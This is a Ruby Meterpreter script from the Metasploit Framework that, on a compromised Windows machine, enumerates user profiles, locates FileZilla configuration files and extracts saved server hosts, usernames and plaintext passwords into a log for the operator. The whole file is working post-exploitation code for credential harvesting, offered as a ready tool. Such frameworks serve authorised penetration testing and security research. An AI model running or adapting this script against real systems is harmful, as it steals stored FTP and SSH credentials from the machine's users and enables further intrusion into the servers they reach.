metasploit-framework/scripts/meterpreter/get_filezilla_creds.rb

require "rexml/document"

#-------------------------------------------------------------------------------
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
	"-h" => [ false, "Help menu." ],
	"-c" => [ false, "Return credentials." ]
)

get_credentials=false

opts.parse(args) { |opt, idx, val|
	case opt
	when "-h"
		print_line "Meterpreter Script for extracting servers and credentials from Filezilla."
		print_line(opts.usage)
		raise Rex::Script::Completed
	when "-c"
		get_credentials=true
	end
}
### If we get here and have none of our flags true, then we'll just
###   get credentials
if !(get_credentials)
	get_credentials=true
end

#-------------------------------------------------------------------------------
#Set General Variables used in the script
@client = client
os = @client.sys.config.sysinfo['OS']
host = @client.sys.config.sysinfo['Computer']
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")

#-------------------------------------------------------------------------------
#function for checking of FileZilla profile is present
def check_filezilla(path)
	found = nil
	@client.fs.dir.foreach(path) do |x|
		next if x =~ /^(\.|\.\.)$/
		if x =~ (/FileZilla/)
			### If we find the path, let's return it
			found = path + x
			return found
		end
	end
	return found
end

#-------------------------------------------------------------------------------

def extract_saved_creds(path,xml_file)
	accounts_xml = ""
	creds = ""
	print_status("Reading #{xml_file} file...")
	### modified to use pidgin_path, which already has .purple in it
	account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb")
	until account_file.eof?
		accounts_xml << account_file.read
	end
	account_file.close
	doc = (REXML::Document.new accounts_xml).root
	doc.elements.to_a("//Server").each do |e|
		print_status "\tHost: #{e.elements["Host"].text}"
		creds << "Host: #{e.elements["Host"].text}"
		print_status "\tPort: #{e.elements["Port"].text}"
		creds << "Port: #{e.elements["Port"].text}"
		logon_type = e.elements["Logontype"].text
		if logon_type == "0"
			print_status "\tLogon Type: Anonymous"
			creds << "Logon Type: Anonymous"
		elsif logon_type =~ /1|4/
			print_status "\tUser: #{e.elements["User"].text}"
			creds << "User: #{e.elements["User"].text}"
			print_status "\tPassword: #{e.elements["Pass"].text}"
			creds << "Password: #{e.elements["Pass"].text}"
		elsif logon_type =~ /2|3/
			print_status "\tUser: #{e.elements["User"].text}"
			creds << "User: #{e.elements["User"].text}"
		end

		proto = e.elements["Protocol"].text
		if  proto == "0"
			print_status "\tProtocol: FTP"
			creds << "Protocol: FTP"
		elsif proto == "1"
			print_status "\tProtocol: SSH"
			creds << "Protocol: SSH"
		elsif proto == "3"
			print_status "\tProtocol: FTPS"
			creds << "Protocol: FTPS"
		elsif proto == "4"
			print_status "\tProtocol: FTPES"
			creds << "Protocol: FTPES"
		end
		print_status ""
		creds << ""

	end
#
	return creds
end
#-------------------------------------------------------------------------------
#Function to enumerate the users if running as SYSTEM
def enum_users(os)
	users = []

	path4users = ""
	sysdrv = @client.fs.file.expand_path("%SystemDrive%")

	if os =~ /7|Vista|2008/
		path4users = sysdrv + "\\users\\"
		path2purple = "\\AppData\\Roaming\\"
	else
		path4users = sysdrv + "\\Documents and Settings\\"
		path2purple = "\\Application Data\\"
	end

	if is_system?
		print_status("Running as SYSTEM extracting user list..")
		@client.fs.dir.foreach(path4users) do |u|
			userinfo = {}
			next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
			userinfo['username'] = u
			userinfo['userappdata'] = path4users + u + path2purple
			users << userinfo
		end
	else
		userinfo = {}
		uservar = @client.fs.file.expand_path("%USERNAME%")
		userinfo['username'] = uservar
		userinfo['userappdata'] = path4users + uservar + path2purple
		users << userinfo
	end
	return users
end

################## MAIN ##################
if client.platform =~ /win32|win64/
	print_status("Running Meterpreter FileZilla Credential harvester script")
	print_status("All services are logged at #{dest}")
	enum_users(os).each do |u|
		print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...")
		### Find the path (if it exists) for this user,
		filezilla_path = check_filezilla(u['userappdata'])
		if filezilla_path
			print_status("FileZilla profile found!")
			### modified to use filezilla_path
			xml_cfg_files = ['sitemanager.xml','recentservers.xml']
			if get_credentials
				xml_cfg_files.each do |xml_cfg_file|
					file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
				end
			end

		else
			print_error("Filezilla profile not found!")
		end
	end
else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end